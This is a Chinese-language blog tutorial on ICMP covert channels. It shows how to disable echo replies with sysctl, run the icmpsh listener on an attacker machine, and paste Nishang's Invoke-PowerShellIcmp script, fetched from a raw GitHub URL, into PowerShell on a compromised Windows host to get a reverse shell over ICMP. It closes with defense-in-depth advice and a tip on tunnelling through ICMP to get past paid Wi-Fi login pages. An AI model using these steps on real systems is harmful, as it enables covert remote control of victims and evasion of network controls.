一般而言ICMP(ICMP远不仅仅是ping,但经常被简单的说成是ping)是一个很好的工具,用来测试网络是否有响应,来确认你的网络连接通不通,它也经常被用来测试连接是否可靠!
但从一个IT人员的角度来讲,ICMP可以用来做很多事情。
这篇文章将为你展示黑客们是如何用ICMP来获取数据以及如何仅仅利用ICMP就和网络内部的客户端进行通信的。
使用ICMP来作为隐蔽通道的原理是:你有一个服务端和一个客户端,当它们通信时会用到ICMP_ECHO 和ICMP_ECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
首先在攻击者机器上,关闭ICMP回复,避免发送其它数据干扰隐秘通道测试。
关闭命令:sysctl-w net.ipv4.icmp_echo_ignore_all=1
打开命令:sysctl-w net.ipv4.icmp_echo_ignore_all=0
克隆一份 ICMPSHgithub项目到攻击者机器:
使用ICMPSH项目里的python脚本启动服务端。使用这条命令:
Python icmpsh_m.py x.x.x.x y.y.y.y (注:x.x.x.x是攻击者机器的公网ip,y.y.y.y是被黑机器的公网ip)
现在攻击者机器会监听等待。接下来去被黑服务器(客户端)。在ICMPSHgit项目有一个可用在windows客户端的脚本。
在这里我们将使用NishangPowerShellICMP。代码可以在这里找到
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1
把这些代码复制到windows客户端的Powershell窗口。Powershell不需要提权,用户也不必是本地管理员。
然后调用新定义的函数,像这样:
在攻击者机器上,你将会得到一个通过ICMP连接的Shell(就像魔术一样):
有趣的是查看客户端的流量。运行Wiershark并过滤出来自我虚拟机的流量,当通过shell执行命令时,看到的如下图所示:
当然,要想使用这个方法,黑客必须得控制一台主机。安全要考虑到多个层次,不要只依靠几层,要考虑的长远些。
比如:
——如果黑客获取了一个客户端访问权限,会怎么样?
——我有AppLocker来阻止代码执行。
——如果攻击者绕过AppLocker呢?
——用户没有本地管理员权限。
——如果攻击者获取了本地管理员权限呢?
——客户端计算机不能和其它客户端计算机通信,敏感数据是被隔离的。
整体来讲,阻止使用ICMP/DNS隐秘通道是一个不错的想法。
但是在现代网络环境,有太多的其它方法对一个网络发送和获取数据了。而很多攻击者根本不需要使用ICMP隧道。
值得一提的是,现在有一些项目可以使用ICMP来代理流量发送到互联网。比如有些公共wifi会要求你在使用wifi前进行注册,但是很多情况下在你认证之前ICMP是打开的。意味着你可以通过ICMP代理来传输你的流量然后免费上网。
最后,希望这篇文章可以让大家明白:就算是一些像ping这样无害的命令,也可以被黑客用来做坏事。